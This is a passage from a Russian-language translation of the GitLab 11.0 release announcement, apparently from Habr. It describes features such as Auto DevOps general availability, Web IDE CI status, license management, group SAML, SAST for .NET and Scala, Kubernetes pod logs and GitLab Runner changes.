вы сможете отслеживать лицензии ваших компонентов. **Безопасность:** Мы продолжаем работу над улучшением встроенных возможностей безопасности GitLab. Теперь вы сможете находить уязвимости еще раньше при помощи встроенного статического и динамического тестирования приложений, а также сканирования зависимостей и контейнеров. Мы расширили зону покрытия статического тестирования безопасности приложений (SAST) — теперь оно [поддерживается для Scala и .Net](#sast-dlya-net-i-scala-ultimate-gold). Также мы добавили новые элементы в отчеты SAST, теперь они предоставят вам еще больше деталей. **Kubernetes:** Мы продолжаем улучшать нашу интеграцию с Kubernetes и упрощать взаимодействие GitLab с этой системой. В данном релизе мы добавили несколько новых фич, самой интересной из которых является возможность просмотра [логов пода Kubernetes](#prosmotr-logov-poda-kubernetes-ultimate-gold) прямо из доски развертывания GitLab. **GitLab Web IDE:** Чем больше вы можете сделать не выходя из IDE, тем продуктивнее вы работаете. Теперь вы сможете [просматривать конвейеры CI/CD прямо из IDE](#statusy-konveyerov-i-informaciya-o-rabotah-cicd-v-web-ide-core-starter-premium-ultimate-free-bronze-silver-gold), благодаря чему вы сможете увидеть мгновенный отчет в случае неудачного выполнения конвейера. Кроме того, мы добавили возможность быстрого переключения на следующий мерж-реквест, что позволит вам создавать, улучшать или проводить ревью мерж-реквестов не выходя из IDE. Все это позволит вам быстро и эффективно участвовать во внесении изменений в код и их рецензировании. **Навигация по эпикам и дорожным картам:** Для улучшенной визуализации прогресса эпиков и дорожных карт может быть полезно изменить масштаб графиков времени, что позволит получить более общий обзор и упрощает их планирование. Поэтому мы добавили такую возможность в их интерфейс навигации. [Приглашаем на наши встречи!](https://about.gitlab.com/events/) ![GitLab MVP badge](https://about.gitlab.com/images/mvp_badge.png) ([MVP](https://about.gitlab.com/mvp/)) этого месяца — [Виталий 'blackst0ne' Клачков](https://gitlab.com/blackst0ne) ------------------------------------------------------------------------------------------------------------------- Виталий внес большой вклад в развитие GitLab и уже был назван MVP несколько раз в этом году. Для версии 11.0 он проделал серьезную работу по актуализации технической стороны GitLab: Виталий перевел большинство из оставшихся тестов Spinach на RSpec, а также вложил много сил в улучшение GitLab для Rails 5. Кроме того, после того, как мы приняли решение по добавлению функциональности сжатия и мержа коммитов (squash and merge) в GitLab Coer и GitLab.com free, Виталий взялся за эту работу и закончил ее к выходу этого релиза. Вот список [всех задач, которые он выполнил для GitLab 11.0](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&milestone_title=11.0&label_name[]=Community%20Contribution&author_username=blackst0ne). И снова спасибо, Виталий! Скоро вы получите очередную посылку с подарками! Ключевые нововведения GitLab 11.0 --------------------------------- ### Auto DevOps выходит в общий доступ (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Первая бета-версия Auto DevOps была добавлена в [GitLab 10.0](https://about.gitlab.com/2017/09/22/gitlab-10-0-released/#auto-devops). А в GitLab 11.0 Auto DevOps выходит в общий доступ (Generally Available). Auto DevOps требует минимальной настройки и выполняет всю работу по вашему проекту от стадии сборки до продакшена и мониторинга. Auto DevOps использует лучшие практики DevOps: он проводит настройку вашей сборки, тестирования, проверки качества кода, статического и динамического тестирования безопасности, сканирования зависимостей, управления лицензиями, сканирования контейнеров, Review Apps, тестирования производительности браузера, развертывания и мониторинга — все в одном приложении. Использование этой функциональности упрощает переход на DevOps новых команд, поскольку это позволяет начать работу с цельным функционирующим конвейером. Auto DevOps позволяет разработчикам сфокусироваться на том, что наиболее важно для их организации — поставке качественного кода. Наш обновленный гайд по быстрому началу работы с Auto Devops можно посмотреть [тут](https://docs.gitlab.com/ee/topics/autodevops/quick_start_guide.html). ![Auto DevOps Generally Available](https://about.gitlab.com/images/11_0/auto-devops.png) [Документация по Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) Статусы конвейеров и информация о работах CI/CD в Web IDE (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) ------------------------------------------------------------------------------------------------------------------------ Непрерывная интеграция (CI) является важным этапом поставки высококачественного ПО. Теперь вы сможете узнать статус CI текущего коммита просто посмотрев на окно статуса в левом нижнем углу Web IDE. Более того, справа вы сможете посмотреть на статус и логи каждой работы. Это упрощает работу над мерж-реквестами с неудачным прохождением CI, поскольку вы можете открыть на одном экране неудавшуюся работу и файл над которым вы работаете сейчас. Ранее в таких ситуациях приходилось открывать несколько вкладок и переключаться между ними, а теперь вся необходимая информация доступна прямо в Web IDE. В будущем мы [планируем](https://about.gitlab.com/direction/product-vision/#web-ide) добавить возможность предпросмотра и тестирования изменений перед коммитом. [Документация по Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/#view-ci-job-logs) ![CI/CD pipeline status and job traces in the Web IDE](https://about.gitlab.com/images/11_0/web_ide_ci_trace.png) Переключение между мерж-реквестами в Web IDE (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) ----------------------------------------------------------------------------------------------------------- Легко представить ситуацию, в которой один человек работает над множеством мерж-реквестов в нескольких проектах одновременно. Теперь вы сможете переключаться между своими (назначенными на вас и созданными вами) мерж-реквестами в один клик. Не важно, проводите ли вы ревью чужого мерж-реквеста или работаете над своим — благодаря этому нововведению вы сможете уделять больше времени коду и меньше поиску. [Документация по Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/#switching-merge-requests) ![Switch between merge requests in the Web IDE](https://about.gitlab.com/images/11_0/web_ide_switch_mr.png) Управление лицензиями (ULTIMATE, GOLD) -------------------------------------- В реалиях современной разработки ПО большинство приложений используют сторонние компоненты для выполнения определенных функций; такой подход позволяет не начинать каждый проект с чистого листа. Поэтому так распространены third-party библиотеки, зачастую они напрямую поставляются сервисами управления пакетами вроде RubyGems и npm. Однако, при таком подходе нужно следить за тем, чтобы лицензии сторонних компонентов были совместимы с вашим приложением, ведь конфликтующие лицензии могут привести к юридическим проблемам. Для решения таких проблем мы добавляем в GitLab 11.0 функциональность управления лицензиями. Она автоматически проходит по всем зависимостям в ваших проектах и агрегирует их лицензии. Новые лицензии отображаются в виджете мерж-реквеста перед тем, как они станут частью ветки main. Если вы используете [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/), управление лицензиями автоматически включено для ваших проектов. Вы также можете [включить эту функциональность вручную](https://docs.gitlab.com/ee/ci/examples/license_management.html) для кастомных определений `.gitlab-ci.yml`. [Документация по управлению лицензиями](https://docs.gitlab.com/ee/user/project/merge_requests/license_management.html) ![License Management](https://about.gitlab.com/images/11_0/license_management.png) Авторизация SAML на уровне групп (бета-версия) (PREMIUM, ULTIMATE, SILVER, GOLD) -------------------------------------------------------------------------------- Грамотное управление пользовательскими данными — обязательное требование для крупных организаций. Зачастую для этих целей используется сервис идентификации (identity provider), который работает со всеми пользовательскими данными, поэтому мы добавили поддержку Security Assertion Markup Language (SAML) для групп. Теперь владельцы групп смогут настроить сервис идентификации для группы и предоставлять пользователям единую ссылку авторизации (SSO). Благодаря этому появилась возможность проводить управление авторизацией и персональными данными на уровне групп, что может оказаться полезным в случаях, когда общий SAML инстанса не удовлетворяет всем требованиям группы. Данное нововведение особенно полезно для групп GitLab.com, в которых теперь можно настраивать сервис идентификации для использования в энтерпрайзе. [Документация по SAML для групп](https://docs.gitlab.com/ee/user/group/saml_sso/) ![SAML single sign-on for Groups (Beta)](https://about.gitlab.com/images/11_0/group-saml.png) Новые темы навигации (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) ----------------------------------------------------------------------------------- С выходом GitLab 10.0 мы провели [серьезное обновление навигации](https://about.gitlab.com/2017/09/13/unveiling-gitlabs-new-navigation/), а в версии 11.0 мы добавляем несколько новых тем для нее. Теперь у вас есть еще больше возможностей для персонализации вашего взаимодействия с GitLab. Мы добавили абсолютно новую красную тему, а также светлую версию для всех существующих тем. [Документация по настройкам профиля](https://docs.gitlab.com/ee/user/profile/preferences.html) ![New navigation themes](https://about.gitlab.com/images/11_0/new-navigation-themes.png) Другие улучшения GitLab 11.0 ---------------------------- ### Сжатие и мерж коммитов в GitLab Core и GitLab.com Free (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) При работе над масштабным нововведением разработчики зачастую пушат множество коммитов в рабочую ветку, причем количество этих коммитов может только возрасти в процессе ревью кода. Многие команды предпочитают проводить сжимать эти коммиты в один перед мержем с веткой master. Это позволяет [поддерживать читаемость истории Git](https://about.gitlab.com/2018/06/07/keeping-git-commit-history-clean/), что серьезно упростит ревью изменений кода в будущем. Сжатие (squash) является частью функциональности git, так что разработчики могут выполнять эту команду на своем компьютере непосредственно перед мержем. Однако GitLab еще больше упрощает этот процесс: вы можете провести сжатие и мерж в один клик прямо из веб-интерфейса. Например, сопровождающие репозитория теперь могут сжимать коммиты, не обращаясь к автору изменений, что ускоряет и упрощает рабочий процесс. Ранее эта функциональность была доступна только в GitLab Starter, GitLab.com Bronze и на более высоких уровнях. Однако, множество пользователей говорили нам, что такая возможность будет полезна для всех уровней подписки, поэтому теперь она выходит в открытый доступ и становится доступной в GitLab Core и GitLab.com Free! Спасибо [blackst0ne](https://gitlab.com/blackst0ne) за его вклад в эту работу! ![Squash and Merge in GitLab Core and GitLab.com Free](https://about.gitlab.com/images/11_0/squash-and-merge-core.png) [Документация по сжатию и мержу коммитов](https://docs.gitlab.com/ee/user/project/merge_requests/squash_and_merge.html) ### Открытие проектов в Xcode (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) На июньской WWDC [Apple анонсировали интеграцию Xcode с GitLab](https://about.gitlab.com/2018/06/06/one-click-clone-to-xcode/), что несомненно упростит работу с проектами Xcode на хосте GitLab. Теперь GitLab поддерживает клонирование проектов, содержащих файлы `.xcodeproj` или `.xcworkspace` по нажатию кнопки «Open in Xcode». При просмотре проектов Xcode в интерфейсе GitLab эта кнопка будет расположена рядом с Git URL для клонирования. ![Open projects in Xcode](https://about.gitlab.com/images/11_0/open_in_xcode.png) [Документация по открытию проектов в Xcode](https://docs.gitlab.com/ee/user/project/repository/index.html#open-in-xcode) ### Диапазоны дат для дорожных карт (ULTIMATE, GOLD) Поскольку нет никаких ограничений на даты начала и конца эпиков, мы решили добавить возможность нахождения эпиков по временным диапазонам. В данном релизе мы добавляем функциональность диапазонов дат для дорожных карт. Теперь вы сможете искать эпики по кварталам, месяцам и неделям. Поиск по неделям может быть полезен для команд, сфокусированных на выпуске краткосрочных релизов, тогда как для глобального планирования деятельности компании лучше подойдут более крупные диапазоны. ![Roadmap date ranges](https://about.gitlab.com/images/11_0/date-ranges.png) [Документация по диапазонам дат для дорожных карт](https://docs.gitlab.com/ee/user/group/roadmap/#timeline-duration) ### Неограниченное количество гостевых пользователей для Ultimate (ULTIMATE) С целью повышения эффективности работы с GitLab, мы решили, что гостевые (Guest) посетители больше не будут занимать лимит пользователей инстанса Ultimate. Благодаря тому, что гостей может быть сколько угодно, количество пользователей, участвующих в обсуждении разработки теперь тоже не ограничено. Гостям можно повышать уровень доступа, однако не забывайте о том, что тогда они начнут занимать лимит. Также важно помнить, что в случаях, когда пользователь входит в инстанс, но не принадлежит ни к одной группе или проекту, он тоже считается гостем. [Документация по разрешениям для гостевых пользователей](https://docs.gitlab.com/ee/user/permissions.html) ### Списки исполнителей для досок задач (PREMIUM, ULTIMATE, SILVER, GOLD) Доски задач являются полезным инструментом для управления рабочими процессами: вы можете следить за перемещением задач между различными стадиями жизненного цикла при помощи списков меток. В данном релизе мы добавляем списки исполнителей для досок задач. Такой список показывает задачи, назначенные на конкретного пользователя, что добавляет новые возможности для использования досок задач. Теперь вы можете [настроить доску задач](https://docs.gitlab.com/ee/user/project/issue_board.html#configurable-issue-board) для вашей команды, а затем добавить списки исполнителей для ее членов. Это позволит легко увидеть, кто и над какими задачами работает в команде. Такая функциональность может быть полезной как для менеджеров, которые занимаются распределением нагрузки, так и для рядовых пользователей, которые хотят сориентироваться в рабочем процессе. Вы сможете даже добавлять списки меток и списки исполнителей на одну и ту же доску. ![Issue Board assignee lists](https://about.gitlab.com/images/11_0/issue-board-assignee-lists.png) [Документация по спискам исполнителей для досок задач](https://docs.gitlab.com/ee/user/project/issue_board.html#assignee-lists) ### Назначение майлстоунов для дочерних подгрупп (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) В этом релизе мы добавляем структуру подгрупп GitLab для майлстоунов. Теперь вы сможете назначить майлстоун проекта или группы, унаследованный от *любой* родительской группы, для любой задачи или мерж-реквеста. То есть, если у вас есть высокоуровневая группа с набором майлстоунов, вы можете использовать те же самые майлстоуны для всех задач и мерж-реквестов во всех дочерних подгруппах. Это нововведение упрощает работу в организациях со сложной многоуровневой структурой подгрупп и проектов. Более того, вы можете проводить фильтрацию по таким майлстоунам в групповых списках задач, что позволит находить нужные объекты на всех уровнях иерархии. ![Assign ancestor group milestones](https://about.gitlab.com/images/11_0/assign-ancestor-group-milestones.jpg) [Документация по майлстоунам](https://docs.gitlab.com/ee/user/project/milestones/) ### Задачи и мерж-реквесты подгрупп в API (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Запросы [задач](https://docs.gitlab.com/ee/api/issues.html#list-group-issues) и [мерж-реквестов](https://docs.gitlab.com/ee/api/merge_requests.html#list-group-merge-requests) в API теперь консистентны с веб-интерфейсом. То есть, когда вы запрашиваете определенную группу через API для задач и мерж-реквестов, вы получите результаты из всех дочерних проектов или подгрупп этой группы. Алгоритм работает по аналогии с просмотром тех же объектов в списках групп в веб-интерфейсе, что мы представили несколькими релизами ранее. [Документация по API GitLab](https://docs.gitlab.com/ee/api/README.html) ### Токены развертывания для Auto DevOps в Kubernetes (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Раньше, при использовании Auto DevOps в частных или внутренних проектах, после завершения развертывания у Kubernetes не было доступа в регистр. Это не позволяло кластеру совершать повторные fetch-операции образа (для масштабируемости, работы с отказами и т.д.) С GitLab 11.0 создается новый токен развертывания. Он предоставляет постоянный доступ к регистру, когда на приватных/внутренних проектах включен Auto DevOps. Это гарантирует, что кластер может выполнять необходимые операции, и уменьшит вероятность отказов. [Документация о токенах развертывания для Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/#auto-deploy) ### Определение стратегии развертывания в настройках Auto DevOps (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Для одних приложений выгодно отправлять каждое изменение в продакшен сразу по его готовности. Для других может быть лучше собрать эти изменения в общем окружении для более тщательного тестирования. Раньше настроить стратегию развертывания для каждого проекта было возможно только с помощью специальных переменных, которые настраивались и использовались для каждого проекта по отдельности. Начиная с GitLab 11.0, Auto DevOps позволяет настроить вашу стратегию развертывания в один клик. При подключении Auto DevOps для вашего проекта вы сможете определить, развертывать ли ваш проект автоматически сразу в продакшн, или его предварительно нужно автоматически развернуть в тестовое окружение, а уже затем — вручную — в продакшен. Возможность настроить это в один клик позволит вам меньше времени заниматься настройками развертывания и больше — кодить. ![Specify deployment strategy from Auto DevOps settings](https://about.gitlab.com/images/11_0/autodevops-deploy-strategy.png) [Документация по настройке развертывания с Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/#auto-deploy) ### Переменные для определения политики развертывания для канареечных окружений (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Часто нам бы хотелось выкатывать изменения на небольшую часть пользователей или серверов, чтобы оценить влияние этих изменений до развертывания на всем окружении. Раньше пользователям Auto DevOps для запуска канареечного развертывания приходилось делать явную (explicit) специализацию шаблона Auto DevOps и определять желаемое поведение. Начиная с GitLab 11.0, пользователи смогут определять свою политику относительно канареечного развертывания с помощью переменной окружения `CANARY_ENABLED` — быстро и без дополнительных настроек шаблона Auto DevOps. [Документация о политике развертывания для канареечных окружений](https://docs.gitlab.com/ee/topics/autodevops/#deploy-policy-for-canary-environments) ### Подтверждения всегда включены (STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) Подтверждения мерж-реквестов — давняя фича GitLab, которая принуждает команды делать ревью кода (или чего бы то ни было) в мерж-реквесте. Пока подтверждения не будет, мерж-реквест будет заблокирован для мержа. До этого релиза подтверждения нужно было включать в настройках проекта. Чтобы упростить и оптимизировать эту фичу, теперь подтверждения будут включены для всех проектов GitLab (для планов Starter, Bronze и выше) по умолчанию. В то же время, разумеется, мы не хотим замедлить процесс создания и мержа кода. Поэтому, когда пользователь создает проект, число необходимых подтверждений мерж-реквеста для этого проекта будет по умолчанию обнулено (как если бы подтверждения были выключены). По мере роста проекта пользователь и его команда смогут внедрять подтверждения, когда того требует рабочий процесс. Для этого нужно будет лишь изменить цифру подтверждений на ту, которая будет удовлетворять нуждам команды. ![Always-on approvals](https://about.gitlab.com/images/11_0/always-on-approvals.png) [Документация о подтверждениях для мерж-реквестов](https://docs.gitlab.com/ee/user/project/merge_requests/merge_request_approvals.html) ### Загрузка параметров кластера из GKE (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Создавать в GitLab кластеры Kubernetes теперь стало просто как никогда. В GitLab 11.0 значения полей «project» и «zones» автоматически загружаются из вашего аккаунта Google Kubernetes Engine (GKE) и для упрощения отображаются в виде списка. Раньше для создания кластера при использовании GKE нужно было вводить все эти данные вручную. Упрощенный процесс создания кластера позволит быстро поднимать кластеры из GitLab и ускорит развертывание ваших приложений. ![Fetch cluster parameters from GKE](https://about.gitlab.com/images/11_0/fetch-gke-parameters.png) [Документация по добавлению и созданию в GitLab нового кластера GKE](https://docs.gitlab.com/ee/user/project/clusters/#adding-and-creating-a-new-gke-cluster-via-gitlab) ### Отключение этапов Auto DevOps с помощью переменных (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Когда один или несколько этапов Auto DevOps (юнит-тестирование, проверка качества кода и т.п.) не нужны в вашем приложении, было бы здорово настроить конвейер так, чтобы он запускался только на тех этапах, которые вам нужны. Версия GitLab 11.0 дает возможность пропускать один или несколько этапов Auto DevOps с помощью переменных окружения. Это позволит вам использовать преимущества Auto DevOps даже тогда, когда не все его этапы подходят для ваших нужд. [Документация по переменным окружения для Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/#environment-variables) ### Файлы LFS включаются в импорт проекта (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Git LFS](https://docs.gitlab.com/ee/workflow/lfs/manage_large_binaries_with_git_lfs.html) помогает версионировать большие файлы с помощью Git за счет хранения их вне репозитория и ленивого скачивания их по мере необходимости — вместо клонирования. При импорте проекта из GitHub, Bitbucket Cloud или использовании Git URL, GitLab теперь импортирует также и объекты LFS. За счет этого у вас получается полная копия репозитория, включая те самые объекты LFS. Ранее, объекты LFS не включались в импорт. [Документация по импорту проекта](https://docs.gitlab.com/ee/user/project/import/index.html) ### Вкладка Operations (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) В GitLab 11.0 мы добавили раздел **Operations** в панель навигации — эти фичи теперь проще и быстрее найти. В этом релизе **Environments** и **Kubernetes** переехали из **CI/CD** в **Operations**. В будущих релизах мы добавим туда еще несколько секций, например, метрики и логи. ![Operations tab](https://about.gitlab.com/images/11_0/operations_tab.jpg) [Документация по GitLab CI](https://docs.gitlab.com/ee/ci/) ### SAST для .NET и Scala (ULTIMATE, GOLD) Мы продолжаем делать наши инструменты безопасности для самых распространенных языков и фреймворков более доступными; как часть этого процесса мы непрерывно расширяем возможности системы статического тестирования безопасности приложений (SAST). В GitLab 11.0 мы добавили поддержку двух новых языков: .NET и Scala. Если вы уже используете Auto DevOps или последнюю версию определения работы `sast` в вашем файле `.gitlab-ci.yml`, вам не нужно ничего менять в своих проектах. [Документация о SAST](https://docs.gitlab.com/ee/user/project/merge_requests/sast.html#supported-languages-and-frameworks) ### Облачная диаграмма GitLab Helm теперь в бета-версии (CORE, STARTER, PREMIUM, ULTIMATE) Мы рады представить вам бета-версию облачной диаграммы GitLab [Helm](https://helm.sh). Эта диаграмма основана на более облачной внутренней архитектуре с контейнером для каждого компонента GitLab и не требует общего хранилища данных. За счет этого повышается отказоустойчивость, масштабируемость и производительность GitLab на Kubernetes. [Документация по диаграмме GitLab Helm](https://docs.gitlab.com/ee/install/kubernetes/gitlab_chart.html) ### Легкое развертывание и интеграция JupyterHub с GitLab (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [JupyterHub](https://jupyterhub.readthedocs.io/en/stable/) — это многопользовательский сервис для легкой поддержки [блокнотов](https://jupyter-notebook.readthedocs.io/en/latest/) внутри команды анализа данных. Блокноты Jupyter предлагают интерактивную программируемую среду, которая обычно используется для анализа данных, симуляции, визуализации и машинного обучения. GitLab 11.0 умеет по одному клику разворачивать JupyterHub в интегрированный кластер Kubernetes — он автоматически настроен для использования GitLab для бесшовной аутентификации. Дополнительные возможности вроде [HTTPS](https://gitlab.com/gitlab-org/gitlab-ce/issues/47137), [фильтрации по группам](https://gitlab.com/gitlab-org/gitlab-ce/issues/47820) и [настраиваемых блокнотов](https://gitlab.com/gitlab-org/gitlab-ce/issues/48236) будут добавлены в будущих релизах. [Документация по развертыванию JupyterHub](https://docs.gitlab.com/ee/user/project/clusters/#installing-applications) ### Расширенные значения веса задач (STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) Вес задач в GitLab полезен для обозначения оценки усилий или каких-то других метрик, связанных с работой над задачей. Раньше вы могли назначать вес задачи только от 1 до 9 — но это ограничивало те команды, которые стремятся к более подробным оценкам. Начиная с этого релиза, вес задачи может быть любым целым неотрицательным числом, от 0 до бесконечности. У вас больше нет ограничений по оценкам. Кроме того, [графики выполнения задач](https://docs.gitlab.com/ee/user/project/milestones/burndown_charts.html) автоматически учитывают новые значения веса, и ваша команда сможет сразу оценить преимущества расширенного диапазона. ![Expanded Issue Weight values](https://about.gitlab.com/images/11_0/expanded-issue-weight-values.jpg) [Документация по весу задач](https://docs.gitlab.com/ee/workflow/issue_weight.html) ### Объединение системных уведомлений для последовательных обновлений описания задачи (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) GitLab позволят проводить активную асинхронную совместную работу и коммуникацию. Из-за возможности документировать идеи и обсуждать их в таком большом количестве мест, мы призываем к поддержанию единого источника правды в описании задачи или эпика. Это ведет к тому, что описания часто обновляются. Порой — несколько раз за считанные минуты. Получается множество системных уведомлений о том, что описание обновилось. С этого релиза системные заметки об обновлениях описания в течение короткого промежутка времени будут объединяться в одну. Это уменьшит количество визуального шума и сделает немного проще навигацию по комментариям в GitLab. В следующем релизе мы добавим аналогичную функциональность в описания мерж-реквестов. ![Combined system note for successive issue description updates](https://about.gitlab.com/images/11_0/combined-system-note.png) [Документация по задачам](https://docs.gitlab.com/ee/user/project/issues/) ### Просмотр логов пода Kubernetes (ULTIMATE, GOLD) Разработчикам критически важна возможность просматривать логи для того, чтобы понимать, как ведет себя приложение, и отслеживать возможные проблемы. С этой версии просмотр логов проблемного пода доступен в один клик. На странице **Environments** статусы подов каждого приложения отображаются с помощью [досок развертывания](https://docs.gitlab.com/ee/user/project/deploy_boards.html). По наведению курсора на каждый из подов появляется полное название пода и его статус, а по клику — отображаются его логи. ![View Kubernetes pod logs](https://about.gitlab.com/images/11_0/pod_logs.png) [Документация о логах пода](https://docs.gitlab.com/ee/user/project/clusters/kubernetes_pod_logs.html) ### Роль Master переименована в Maintainer (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) В команде GitLab мы [стараемся построить самостоятельную культуру](https://about.gitlab.com/handbook/values/#diversity). Поэтому даже в продукте GitLab мы ищем способы отразить ее. Мы решили переименовать роль Master в роль Maintainer. Это уберет негативный контекст, который мог быть связан с термином «Master», и, в то же время, термин «Maintainer» легко понять. С каждым маленьким шагом мы развиваемся и как продукт, и вместе как индустрия. ![Master role renamed to Maintainer](https://about.gitlab.com/images/11_0/master-to-maintainer.jpg) [Документация о правах доступа](https://docs.gitlab.com/ee/user/permissions.html) ### Редизайн списка меток (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Метки — очень мощный механизм GitLab. Команды продолжают создавать и использовать все больше меток, а мы стараемся сделать так, чтобы ими было легко управлять. В этом релизе мы почистили дизайн страниц списка меток, упростили интерфейс, сделав информацию более читаемой, и сделали интерфейсные фишки, чтобы можно было быстро управлять деталями конкретной метки. ![Label lists redesign](https://about.gitlab.com/images/11_0/label-list-redesign.png) [Документация о метках](https://docs.gitlab.com/ee/user/project/labels.html) ### Консистентный формат названий для атрибута ‘scope’ API задач (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Мы сделали небольшое изменение для атрибута ‘scope’ API задач, чтобы привести его в соответствие формату змеиного регистра (snake case). Атрибут ‘scope’ теперь использует значения переменных `created_by_me` и `assigned_to_me`. Начиная с GitLab 11.0 вам нужно использовать этот формат вместо предыдущего, в котором использовалось написание через дефис (kebab-case). [Документация по API задач](https://docs.gitlab.com/ee/api/issues.html) ### Поддержка регулярных выражений для выражений с переменными (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) В GitLab 10.7 мы добавили поддержку выражений с переменными для ключевых слов `only` и `except`. Эти ключевые слова определяют, нужно ли создавать работу, когда переменная существует или имеет определенное значение. В GitLab 11.0 мы расширили этот синтаксис: теперь доступны регулярные выражения. Вы сможете создавать гибкие определения, основанные на целом ряде параметров. Например, пропустить работу с определенным сообщением коммита. ![Regex support for variables expressions](https://about.gitlab.com/images/11_0/regex_variables.png) [Документация по поддержке регулярных выражений для выражений с переменными](https://docs.gitlab.com/ee/ci/variables/#variables-expressions) ### Получение IP адреса GitLab Runner через API (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) В GitLab 10.6 мы добавили отображение IP адреса конкретного GitLab Runner в деталях веб-интерфейса. Это очень полезно для получения информации об инфраструктуре, управления ей и для отслеживания проблем. С GitLab 11.0 мы также выдаем эту информацию по запросу API, так что теперь ее можно использовать в автоматизированных процессах. За эту фичу спасибо [Lars Greiss](https://gitlab.com/lgreiss). [Документация по API GitLab Runner](https://docs.gitlab.com/ee/api/runners.html#get-runner-s-details) ### GitLab Runner 11.0 (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Также с этим релизом мы выпускаем GitLab Runner версии 11.0. GitLab Runner — это проект с открытым исходным кодом, используемый для запуска работ CI/CD и пересылки результатов обратно в GitLab. ##### Ключевые изменения этого релиза: * [`Добавлили опцию --paused` в команду `gitlab-runner register`](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/896) * [Изменили названия метрик Prometheus](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/912) * [Начали переименовывать настройку «metrics server» в «listen address»](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/838) * [Переименовали CI\_COMMIT\_REF в CI\_COMMIT\_SHA](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/911) Полный список изменений вы найдете в [CHANGELOG файле GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/blob/v11.0.0/CHANGELOG.md). [Документация по GitLab Runner](https://docs.gitlab.com/runner) ### Улучшено отслеживание устаревших настроек (CORE, STARTER, PREMIUM, ULTIMATE) Начиная с GitLab 11.0 пакет Omnibus GitLab будет проверять `gitlab.rb` на устаревшие настройки до начала обновления. В случае, если устаревшие настройки обнаружатся, пакет отменит процесс обновления до внесения любых изменений. Это позволит существующим версиям продолжать корректно работать до тех пор, пока администратор не обновит проблемные настройки. [Документация по Omnibus GitLab](https://docs.gitlab.com/omnibus/README.html) ### ID конвейера на уровне проекта (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) При запуске работ CI/CD для вашего проекта, иногда нужен способ отличить один запуск от другого. Для этой цели полезен уникальный идентификатор, который изменяется каждый раз, когда создается новый конвейер. Такая идентификатор уже был — для этого использовалась переменная окружения `CI_PIPELINE_ID`. Но этот счетчик был один на весь инстанс GitLab, из-за чего он слишком быстро рос, угрожая проблемами с длинными номерами. В GitLab 11.0 мы представляем другую переменную окружения: `CI_PIPELINE_IID`. В ней содержится упоминание того, к какому проекту она относится. Это значит, что такой счетчик будет увеличиваться только тогда, когда создается новый запуск в конкретном проекте. Числа не будут расти так быстро, как в случае с предыдущим счетчиком, а разработчики смогут использовать эту переменную в процессе релиза — например, как часть номера версии. [Документация по предопределенным переменным CI/CD](https://docs.gitlab.com/ee/ci/variables/#predefined-variables-environment-variables) --- Подробные release notes и инструкции по обновлению/установке можно прочитать в оригинальном англоязычном посте: [GitLab 11.0 released with Auto DevOps and License Management](https://about.gitlab.com/2018/06/22/gitlab-11-0-released/). Над переводом с английского работали [rishavant](https://habr.com/ru/users/rishavant/) и [sgnl\_05](https://habr.com/ru/users/sgnl_05/).
https://habr.com/ru/post/416557/
null
ru
null
